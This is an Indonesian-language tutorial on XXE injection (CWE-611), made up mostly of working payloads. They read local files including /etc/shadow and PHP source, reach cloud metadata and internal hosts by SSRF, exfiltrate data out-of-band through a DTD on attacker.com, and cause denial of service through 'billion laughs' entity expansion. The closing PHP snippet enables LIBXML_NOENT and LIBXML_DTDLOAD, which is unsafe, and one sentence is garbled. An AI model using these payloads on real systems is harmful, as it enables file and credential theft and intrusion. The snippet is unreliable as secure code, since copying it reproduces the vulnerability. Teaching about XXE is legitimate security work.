XXE: membaca file lokal, SSRF via XML parser, exfiltrasi data via DTD, blind XXE dengan parameter entities. CWE-611.
XML External Entity (XXE) Injection adalah kerentanan yang terjadi ketika aplikasi memproses input XML dari pengguna menggunakan parser XML yang tidak aman. Penyerang bisa membaca file lokal, melakukan SSRF, atau bahkan Denial of Service. XXE masuk dalam CWE-611 dan OWASP Top 10 2017.
XML mendefinisikan "entities"—variabel yang bisa menyimpan data. Jika parser memproses "external entities", penyerang bisa membaca file dari sistem:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
<data>&xxe;</data>
</root>Parser akan membaca isi /etc/passwd dan menempatkannya di dalam tag .
<!ENTITY xxe SYSTEM "file:///etc/shadow">
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"><!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
<!ENTITY xxe SYSTEM "http://internal-server/admin">Saat respons tidak menampilkan data, gunakan OOB DTD:
# File di attacker.com/evil.dtd:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?x=%file;'>">
%eval;
# Kirim XML:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
%xxe;
]>
<root>&exfil;</root><!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
... sampai lol9
]>
<root>&lol9;</root>libxml_disable_entity_loader(true);
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);